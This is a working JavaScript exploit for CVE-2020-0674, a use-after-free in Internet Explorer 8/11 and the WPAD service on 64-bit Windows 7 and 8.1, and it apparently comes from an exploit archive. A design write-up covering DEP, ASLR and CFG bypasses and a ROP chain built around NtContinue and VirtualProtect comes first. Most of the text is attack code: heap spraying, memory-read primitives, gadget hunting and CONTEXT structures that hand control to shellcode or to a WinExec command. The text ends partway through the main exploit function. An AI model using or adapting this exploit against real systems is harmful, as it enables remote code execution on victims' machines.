Microsoft Internet Explorer 8/11 and WPAD service Jscript.dll use-after-free exploit.
aa077e4edafafb5f0450fba78b760fed0bf732ec0cdb9114581b916849860c12
# Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free
# Date: 2021-05-04
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 x64
# Tested on: Windows 7 x64, Windows 8.1 x64
# CVE: CVE-2020-0674
# Bypasses: DEP, ASLR, CFG
# Original (IE-only/Windows 7-only) exploit credits: maxpl0it
# Full explain chain writeup: https://github.com/forrest-orr/DoubleStar
/*
________ ___. .__ _________ __
\______ \ ____ __ __\_ |__ | | ____ / _____/_/ |_ _____ _______
| | \ / _ \ | | \| __ \ | | _/ __ \ \_____ \ \ __\\__ \ \_ __ \
| ` \( <_> )| | /| \_\ \| |__\ ___/ / \ | | / __ \_| | \/
/_______ / \____/ |____/ |___ /|____/ \___ > /_______ / |__| (____ /|__|
\/ \/ \/ \/ \/
Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain
______________
| Remote PAC |
|____________|
^
| HTTPS
_______________ RPC/ALPC _______________ RPC/ALPC _______________
| firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe |
|_____________| |_____________| <----------- |_____________|
| RPC/Pipe
|
_______________ |
| malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM
|_____________|
~
Component
JavaScript file containing CVE-2020-0674 UAF targetting IE8/11 and WPAD 64-bit
on Windows 7 and 8.1 x64. It may be used as an alternative RCE attack vector in
the exploit chain (in which case it should be used in conjunction with the
stage two WPAD sandbox escape shellcode), as a PAC file (see settings) or a
stand-alone IE8/11 64-bit exploit. Note that if used as the initial RCE in the
full exploit chain, Windows 7 is unsupported by the required stage two WPAD
sandbox escape shellcode.
________________ CVE-2020-0674 _______________________ RPC/ALPC _______________
| iexplore.exe | -------------> | WPAD sandbox escape | ----------> | svchost.exe |
|______________| | shellcode (heap) | |_____________|
|_____________________|
~
Overview
This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11
64-bit as well as the WPAD service on Windows 7 and 8.1 x64. It has bypasses
for DEP, ASLR, and CFG. It uses dynamic ROP chain creation for its RIP
hijack and stack pivot. Notably, this exploit does not contain bypasses for
Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in
Windows 10.
~
Design
The UAF is a result of two untracked variables passed to a comparator for the
Array.sort method, which can then be used to reference VAR structs within
allocated GcBlock regions which can subsequently be freed via garbage
collection. Control of the memory of VAR structs with active JS var
references in the runtime script is then used for arbitrary read (via BSTR)
and addrof primitives.
Ultimately the exploit aims to use KERNEL32.DLL!VirtualProtect to disable DEP
on a user defined shellcode stored within a BSTR on the heap. This is achieved
through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap)
and a dynamically resolved stack pivot ROP gadget.
NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET
RCX = Shellcode address
RDX = Shellcode size
R8 = 0x40
R9 = Leaked address of BSTR to hold out param
RSP = Real stack pointer
R11 = Artificial stack
|-----------------------------| ^
| 2MB stack space (heap) | |
|-----------------------------| |
| Heap header/BSTR len align | |
|-----------------------------| |
| KERNEL32.DLL!VirtualProtect | <----------|
|-----------------------------|
| Shellcode return address ]
|-----------------------------|
The logic flow is:
1. A fake object with a fake vtable is constructed containing the address
of NTDLL.DLL!NtContinue as its "typeof" method pointer. This primitive
is used for RIP hijack in conjunction with a pointer to a specially
crafted CONTEXT structure in RCX as its parameter.
2. NtContinue changes RIP to a stack pivot gadget and sets up the parameters
to KERNEL32.DLL!VirtualProtect.
3. The address of VirtualProtect is the first return address to be
consumed on the new (artificial) stack after the stack pivot.
4. VirtualProtect disables DEP on the shellcode region and returns to that
same (now +RWX) shellcode address stored as the second return address on
the pivoted stack.
Notably, the stack pivot was needed here due to the presence of CFG on
Windows 8.1, which prevents NtContinue from being used to change RSP to an
address which falls outside the stack start/end addresses specified in the
TEB. On Windows 7 this is a non-issue. Furthermore, it required a leak of RSP
to be planted in the CONTEXT structure so that NtContinue would consider its
new RSP valid.
The exploit will not work on Windows 10 due to enhanced protection by CFG:
Windows 10 has blacklisted NTDLL.DLL!NtContinue to CFG by default.
~
Credits
maxpl0it - for doing the original analysis and PoC for CVE-2020-0674
on IE8/11 on Windows 7 x64.
HackSys Team - for tips on the WPAD service and low level JS debugging.
*/
////////
////////
// Global settings
////////
var PayloadType = "shellcode"; // Can be "shellcode" or "winexec"
var CommandStr = "\u3a63\u775c\u6e69\u6f64\u7377\u6e5c\u746f\u7065\u6461\u652e\u6578"; // The ASCII string to be executed via WinExec if the relevant payload type is selected - C:\Windows\notepad.exe
var WindowsVersion = 8.1; // Can be 8.1 or 7. Only the 64-bit versions of these OS are supported.
var PacFile = false;
var EnableDebug = false;
var EnableTimers = false;
var AlertOutput = false;
////////
////////
// Stack-sensitive array initialization logic
////////
var SortArray = new Array(); // Initializing this locally rather than globally causes stack issues, particularly in regards to WPAD.
for(var i = 0; i <= 150; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort comparator
////////
////////
// Debug/timer code
////////
var TimeStart;
var ReadCount;
var ScriptTimeStart = new Date().getTime();
function StartTimer() {
ReadCount = 0;
TimeStart = new Date().getTime();
}
function EndTimer(Message) {
var TotalTime = (new Date().getTime() - TimeStart);
if(EnableTimers) {
if(AlertOutput) {
alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
else {
console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
}
}
function DebugLog(Message) {
if(EnableDebug) { // When debug is enabled the distinction between "stack overflow" and "out of memory" errors are lost: console always determines there to be an "out of memory" condition even though this only sppears after scoping of SortDepth is changed.
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message); // In IE, console only works if devtools is open.
}
}
}
////////
////////
// UAF/untracked variable creation code
////////
var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000; // 200 GcBlocks
var NameListAnchors;
var NameListAnchorCount = 0; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
var SortDepth = 0;
function GlitchedComparator(Untracked1, Untracked2) {
Untracked1 = VarSpray[SortDepth*2];
Untracked2 = VarSpray[SortDepth*2 + 1];
if(SortDepth >= 150) {
VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
CollectGarbage(); // Free the GcBlocks
UntrackedVarSet.push(Untracked1);
UntrackedVarSet.push(Untracked2);
}
else {
SortDepth += 1;
// There is a difference between the stack size between WPAD and Internet Explorer. In IE, a stack overflow exception will occur around depth 250 however in WPAD it will occur on a depth of less than 150, ensuring a stack overflow exception/alert will be thrown in the exploit. This try/catch in conjunction with a global initialization of the sort array allows the depth to be sufficient to produce an untracked var which will overlap with the type confusion offset in the re-claimed GcBlock.
try {
SortArray[SortDepth].sort(GlitchedComparator);
}
catch(ex) {
VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
CollectGarbage(); // Free the GcBlocks
}
UntrackedVarSet.push(Untracked1);
UntrackedVarSet.push(Untracked2);
}
return 0;
}
function NewUntrackedVarSet() {
SortDepth = 0;
VarSpray = new Array();
NameListAnchors = new Array();
UntrackedVarSet = new Array();
for(var i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray
for(var i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
CollectGarbage();
SortArray[0].sort(GlitchedComparator); // Two untracked vars will be passed to this method by the JS engine
}
////////
////////
// UAF re-claim/mutable variable code (used for arbitrary read)
////////
var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(570).join('A');
var MutableVar;
var ReClaimNameList;
var InitialReClaim = true;
function ReClaimIndexNameList(Value, PropertyName) {
CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability.
AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation
CollectGarbage(); // Free the leaked NameList
AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size
AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
AnchorObjectsBackup[LeakedAnchorIndex]["\u0005"] = 1;
AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable
ReadCount++;
}
function ReClaimBackupNameLists(Value, PropertyName) {
var PrecisionReClaimAllocCount = 500; // This is the number of re-claim attempts that are needed for a precision re-claim of a single freed region, not hundreds such as in the case of the GcBlock/type confusion re-claims. On IE8/11 300 is plenty, on WPAD 500 seems to be more stable.
CollectGarbage(); // Cleanup
if(InitialReClaim) {
AnchorObjectsBackup[LeakedAnchorIndex] = null;
InitialReClaim = false;
PrecisionReClaimAllocCount -= 1;
AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); // Clog the index
}
for(var i = 0; i < PrecisionReClaimAllocCount; i++) {
if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = null;
}
CollectGarbage(); // Free the leaked NameList
for(var i = 0; i < PrecisionReClaimAllocCount; i++) {
if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = new Object();
AnchorObjectsBackup[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size
AnchorObjectsBackup[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
AnchorObjectsBackup[i]["\u0005"] = 1;
AnchorObjectsBackup[i][PropertyName] = Value; // The mutable variable
}
ReadCount++;
}
function CreateVar64(Type, ObjPtrLow, ObjPtrHigh, NextPtrLow, NextPtrHigh) {
var CharCodes = new Array();
CharCodes.push(
// Type
Type, 0, 0, 0,
// Object pointer
ObjPtrLow & 0xffff, (ObjPtrLow >> 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh >> 16) & 0xffff,
// Next pointer
NextPtrLow & 0xffff, (NextPtrLow >> 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh >> 16) & 0xffff);
return String.fromCharCode.apply(null, CharCodes);
}
function LeakByte64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte.
}
function LeakWord64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}
function LeakDword64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LowWord + (HighWord << 16);
}
function LeakQword64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0));
var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0));
var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 6, Address.high, 0, 0));
var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 8, Address.high, 0, 0));
var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16));
}
function LeakObjectAddress64(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address.
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 2, ObjVarAddress.high, 0, 0));
var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 4, ObjVarAddress.high, 0, 0));
var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 6, ObjVarAddress.high, 0, 0));
var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 8, ObjVarAddress.high, 0, 0));
var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
var DerefObjVarAddress = MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16) + 8);
return LeakQword64(DerefObjVarAddress); // The concept here is to turn the property name (the mutable var) into a BSTR VAR pointing at its own VVAL (which starts with another, real VAR). The real VAR can be set dynamically to the address of the desired object. So there are two stages: first to read the object pointer out of the VAR within the final VVAL, and then to leak the object pointer of the VAR it is pointing to (skipping +8 over its Type field)
}
////////
////////
// PE parsing/EAT and IAT resolution code
////////
function ResolveExport64(ModuleBase, TargetExportNameTable) {
var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c));
var EATRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x88));
if(EATRva) {
var TotalExports = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x14));
var AddressRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x1C));
var NameRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x20));
var OrdinalRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x24));
var MaxIndex = TotalExports;
var MinIndex = 0;
var CurrentIndex = Math.floor(TotalExports / 2);
var TargetTableIndex = 0;
var BinRes = 0;
var TrailingNullWord = false;
if((TargetExportNameTable[TargetExportNameTable.length - 1] & 0xFFFFFF00) == 0) {
TrailingNullWord = true;
}
while(TotalExports) {
var CurrentNameRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + NameRvas + 4*CurrentIndex));
while (TargetTableIndex < TargetExportNameTable.length) {
var CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex))));
var TargetExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF);
var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
var FinalTableIndex = false;
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
FinalTableIndex = true;
}
BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord);
if(!BinRes) {
TargetExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16);
CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)) + 2));
SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
if(TrailingNullWord && FinalTableIndex) {
var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex));
var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal)));
return MainExport;
}
BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord);
if(!BinRes) {
if(FinalTableIndex) {
var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex));
var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal)));
return MainExport;
}
TargetTableIndex++;
}
else {
TargetTableIndex = 0;
break;
}
}
else {
TargetTableIndex = 0;
break;
}
}
if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index
if(MaxIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit max");
break;
}
MaxIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
}
else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index
if(MinIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit min");
break;
}
MinIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2);
}
if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
DebugLog("Failed to find export: current, min and max indexes are all equal");
break;
}
}
}
return MakeQword(0, 0);
}
function SelectRandomImport64(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module
var ExtractedAddresss = MakeQword(0, 0);
var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c));
var ImportDataDirAddress = MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x90); // Import data directory
var ImportRva = LeakDword64(ImportDataDirAddress);
var ImportSize = LeakDword64(MakeQword(ImportDataDirAddress.high, ImportDataDirAddress.low + 0x4)); // Get the size field of the import data dir
var DescriptorAddress = MakeQword(ModuleBase.high, ModuleBase.low + ImportRva);
while(ImportSize != 0) {
var NameRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0xc)); // 0xc is the offset to the module name pointer
if(NameRva != 0) {
if(StrcmpLeak64(TargetModuleNameTable, MakeQword(ModuleBase.high, ModuleBase.low + NameRva))) {
var ThunkRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0x10));
ExtractedAddresss = LeakQword64(MakeQword(ModuleBase.high, ModuleBase.low + ThunkRva + 0x18)); // +0x18 (4 thunks forwarded) since __imp___C_specific_handler can cause issues when imported in some jscript instances, and similarly on Windows 10 the 2nd import is ResolveDelayLoadedAPI which is forwarded to NTDLL.DLL.
break;
}
ImportSize -= 0x14;
DescriptorAddress.low += 0x14; // Next import descriptor in array
}
else {
break;
}
}
return ExtractedAddresss;
}
function DiveModuleBase64(Address) {
Address.low = (Address.low & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header.
while(true) {
if(LeakWord64(Address) == 0x6854) { // 'hT'
if(LeakWord64(MakeQword(Address.high, Address.low + 2)) == 0x7369) { // 'si'
return MakeQword(Address.high, Address.low - 0x4e);
}
}
Address.low -= 0x10000;
}
return MakeQword(0, 0);
}
function BaseFromImports64(ModuleBase, TargetModuleNameTable) {
var RandomImportAddress = SelectRandomImport64(ModuleBase, TargetModuleNameTable);
if(RandomImportAddress.low || RandomImportAddress.high) {
return DiveModuleBase64(RandomImportAddress);
}
return MakeQword(0, 0);
}
////////
////////
// Misc. helper functions
////////
function NullSanitizeWord(StrWord) {
var Sanitized = 0;
if(StrWord != 0) {
if((StrWord & 0x00FF) == 0) {
Sanitized = 0; // First byte is NULL, end of the string.
}
else {
Sanitized = StrWord;
}
}
return Sanitized;
}
function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater
if(TargetNum == CmpNum) {
return 0;
}
while(true) {
if((TargetNum & 0xff) > (CmpNum & 0xff)) {
return -1;
}
else if((TargetNum & 0xff) < (CmpNum & 0xff)) {
return 1;
}
TargetNum = TargetNum >> 8;
CmpNum = CmpNum >> 8;
}
}
function DwordToUnicode(Dword) {
var Unicode = String.fromCharCode(Dword & 0xFFFF);
Unicode += String.fromCharCode(Dword >> 16);
return Unicode;
}
function QwordToUnicode(Value) {
return String.fromCharCode.apply(null, [Value.low & 0xffff, (Value.low >> 16) & 0xffff, Value.high & 0xffff, (Value.high >> 16) & 0xffff]);
}
function TableToUnicode(Table) {
var Unicode = "";
for(var i = 0; i < Table.length; i++) {
Unicode += DwordToUnicode(Table[i]);
}
return Unicode;
}
function DwordArrayToBytes(DwordArray) {
var ByteArray = [];
for(var i = 0; i < DwordArray.length; i++) {
ByteArray.push(DwordArray[i] & 0xffff);
ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
}
return String.fromCharCode.apply(null, ByteArray);
}
function StrcmpLeak64(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address
var TargetTableIndex = 0;
while (TargetTableIndex < StrDwordTable.length) {
var LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex)));
var SanitizedStrWord = NullSanitizeWord(LeakStrWord);
var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF);
if(TableWord == SanitizedStrWord) {
LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex) + 2));
SanitizedStrWord = NullSanitizeWord(LeakStrWord);
TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16);
if(TableWord == SanitizedStrWord) {
if((TargetTableIndex + 1) >= StrDwordTable.length) {
return true;
}
TargetTableIndex++;
}
else {
break;
}
}
else {
break;
}
}
return false;
}
function MakeDouble(High, Low) {
return Int52ToDouble(QwordToInt52(High, Low));
}
function QwordToInt52(High, Low) {
// Sanity check via range. Not all QWORDs are going to be valid 52-bit integers that can be converted to doubles
if ((Low !== Low|0) && (Low !== (Low|0)+4294967296)) {
DebugLog ("Low out of range: 0x" + Low.toString(16));
}
if (High !== High|0 && High >= 1048576) {
DebugLog ("High out of range: 0x" + High.toString(16));
}
if (Low < 0) {
Low += 4294967296;
}
return High * 4294967296 + Low;
}
function Int52ToDouble(Value) {
var Low = Value | 0;
if (Low < 0) {
Low += 4294967296;
}
var High = Value - Low;
High /= 4294967296;
if ((High < 0) || (High >= 1048576)) {
DebugLog("Fatal error - not an int52: 0x" + Value.toString(16));
Loew = 0;
High = 0;
}
return { low: Low, high: High };
}
function MakeQword(High, Low) {
return { low: Low, high: High };
}
////////
////////
// Dynamic ROP chain creation code
////////
function HarvestGadget64(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) {
var MaxHighAddress = MakeQword(HintExportAddress.high, (HintExportAddress.low + MagicOffset + MaxDelta));
var MinLowAddress = MakeQword(HintExportAddress.high, ((HintExportAddress.low + MagicOffset) - MaxDelta));
var LeakAddress = MakeQword(HintExportAddress.high, HintExportAddress.low + MagicOffset);
var LeakFunc = LeakDword64; // Leaking by DWORD causes some quirks on 64-bit. Bitwise NOT solves issue.
var InitialAddress = LeakAddress;
var IndexDelta;
if(MinLowAddress.low < HintExportAddress.low) {
MinLowAddress.low = HintExportAddress.low; // Don't bother scanning below the hint export
}
DebugLog("Hunting for gadget 0x" + Data.toString(16) + " between 0x" + MinLowAddress.high.toString(16) + MinLowAddress.low.toString(16) + " and 0x" + MaxHighAddress.high.toString(16) + MaxHighAddress.low.toString(16) + " starting from 0x" + LeakAddress.high.toString(16) + LeakAddress.low.toString(16) + " based on hint export at 0x" + HintExportAddress.high.toString(16) + HintExportAddress.low.toString(16));
if(DataMask == 0x0000FFFF) {
LeakFunc = LeakWord64;
}
var LeakedData = LeakFunc(LeakAddress);
if((~LeakedData & DataMask) == ~Data) {
DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16));
}
else {
var HighAddress = MakeQword(LeakAddress.high, LeakAddress.low + 1);
var LowAddress = MakeQword(LeakAddress.high, LeakAddress.low - 1);
LeakAddress = MakeQword(0, 0);
while(LowAddress.low >= MinLowAddress.low || HighAddress.low < MaxHighAddress.low) {
if(LowAddress.low >= MinLowAddress.low) {
LeakedData = LeakFunc(LowAddress);
if((~LeakedData & DataMask) == ~Data) {
DebugLog("Found gadget from scan below magic at 0x" + LowAddress.high.toString(16) + LowAddress.low.toString(16));
LeakAddress = LowAddress;
break;
}
LowAddress.low -= 1;
}
if(HighAddress.low < MaxHighAddress.low) {
LeakedData = LeakFunc(HighAddress);
if((~LeakedData & DataMask) == ~Data) {
LeakAddress = HighAddress;
IndexDelta = (LeakAddress.low - InitialAddress.low);
DebugLog("Found gadget from scan above magic at 0x" + HighAddress.high.toString(16) + HighAddress.low.toString(16) + " (index " + IndexDelta.toString(10) + ")");
break;
}
HighAddress.low += 1;
}
}
}
return LeakAddress;
}
////////
////////
// Primary high level exploit logic
////////
function MakeContextDEPBypass64(NewRSP, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeSize, WritableAddress) {
return "\u0000\u0000\u0000\u0000" + // P3Home
"\u0000\u0000\u0000\u0000" + // P4Home
"\u0000\u0000\u0000\u0000" + // P5Home
"\u0000\u0000\u0000\u0000" + // P6Home
"\u0003\u0010" + // ContextFlags
"\u0000\u0000" + // MxCsr
"\u0033" + // SegCs
"\u0000" + // SegDs
"\u0000" + // SegEs
"\u0000" + // SegFs
"\u0000" + // SegGs
"\u002b" + // SegSs
"\u0246\u0000" + // EFlags
"\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too!
"\u0000\u0000\u0000\u0000" + // Dr1
"\u0000\u0000\u0000\u0000" + // Dr2
"\u0000\u0000\u0000\u0000" + // Dr3
"\u0000\u0000\u0000\u0000" + // Dr6
"\u0000\u0000\u0000\u0000" + // Dr7
"\u0000\u0000\u0000\u0000" + // Rax
QwordToUnicode(ShellcodeAddress) + // Rcx
QwordToUnicode(ShellcodeSize) + // Rdx
"\u0000\u0000\u0000\u0000" + // Rbx
QwordToUnicode(NewRSP) + // Rsp
"\u0000\u0000\u0000\u0000" + // Rbp
"\u0000\u0000\u0000\u0000" + // Rsi
"\u0000\u0000\u0000\u0000" + // Rdi
"\u0040\u0000\u0000\u0000" + // R8
QwordToUnicode(WritableAddress) + // R9
"\u0000\u0000\u0000\u0000" + // R10
QwordToUnicode(ArtificialStackAddress) + // R11
"\u0000\u0000\u0000\u0000" + // R12
"\u0000\u0000\u0000\u0000" + // R13
"\u0000\u0000\u0000\u0000" + // R14
"\u0000\u0000\u0000\u0000" + // R15
QwordToUnicode(StackPivotAddress); // RIP
}
function MakeContextWinExec64(CommandLineAddress, StackPtr, WinExecAddress) {
return "\u0000\u0000\u0000\u0000" + // P3Home
"\u0000\u0000\u0000\u0000" + // P4Home
"\u0000\u0000\u0000\u0000" + // P5Home
"\u0000\u0000\u0000\u0000" + // P6Home
"\u0003\u0010" + // ContextFlags
"\u0000\u0000" + // MxCsr
"\u0033" + // SegCs
"\u0000" + // SegDs
"\u0000" + // SegEs
"\u0000" + // SegFs
"\u0000" + // SegGs
"\u002b" + // SegSs
"\u0246\u0000" + // EFlags
"\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too!
"\u0000\u0000\u0000\u0000" + // Dr1
"\u0000\u0000\u0000\u0000" + // Dr2
"\u0000\u0000\u0000\u0000" + // Dr3
"\u0000\u0000\u0000\u0000" + // Dr6
"\u0000\u0000\u0000\u0000" + // Dr7
"\u0000\u0000\u0000\u0000" + // Rax
QwordToUnicode(CommandLineAddress) + // Rcx - Command pointer
"\u0005\u0000\u0000\u0000" + // Rdx - SW_SHOW
"\u0000\u0000\u0000\u0000" + // Rbx
QwordToUnicode(StackPtr) + // Rsp
"\u0000\u0000\u0000\u0000" + // Rbp
"\u0000\u0000\u0000\u0000" + // Rsi
"\u0000\u0000\u0000\u0000" + // Rdi
"\u0000\u0000\u0000\u0000" + // R8
"\u0000\u0000\u0000\u0000" + // R9
"\u0000\u0000\u0000\u0000" + // R10
"\u0000\u0000\u0000\u0000" + // R11
"\u0000\u0000\u0000\u0000" + // R12
"\u0000\u0000\u0000\u0000" + // R13
"\u0000\u0000\u0000\u0000" + // R14
"\u0000\u0000\u0000\u0000" + // R15
QwordToUnicode(WinExecAddress); // RIP - KERNEL32.DLL!WinExec
}
function CreateFakeVtable(NtContinueAddress) {
var FakeVtable = "";
var Padding = [];
for (var i = 0; i < (0x138 / 4); i++) {
Padding[i] = 0x11111111;
}
FakeVtable += DwordArrayToBytes(Padding);
FakeVtable += DwordArrayToBytes([NtContinueAddress.low]);
FakeVtable += DwordArrayToBytes([NtContinueAddress.high]);
for (var i = (0x140 / 4); i < (0x400 / 4); i++) {
Padding[i] = 0x22222222;
}
FakeVtable += DwordArrayToBytes(Padding);
return FakeVtable;
}
var LFHBlocks = new Array(); // If this is local rather than global the exploit does not work on Windows 8.1 IE11 64-bit
function Exploit() {
if(PayloadType != "shellcode" && PayloadType != "winexec") {
DebugLog("Fatal error: invalid payload type");
return 0;
}
// Initialization: these anchor re-claim counts have varying affects on exploit stability. The higher the anchor count, the more stable, but the more time the exploit will take.
if(WindowsVersion <= 7) {
ReClaimNameList = ReClaimIndexNameList;
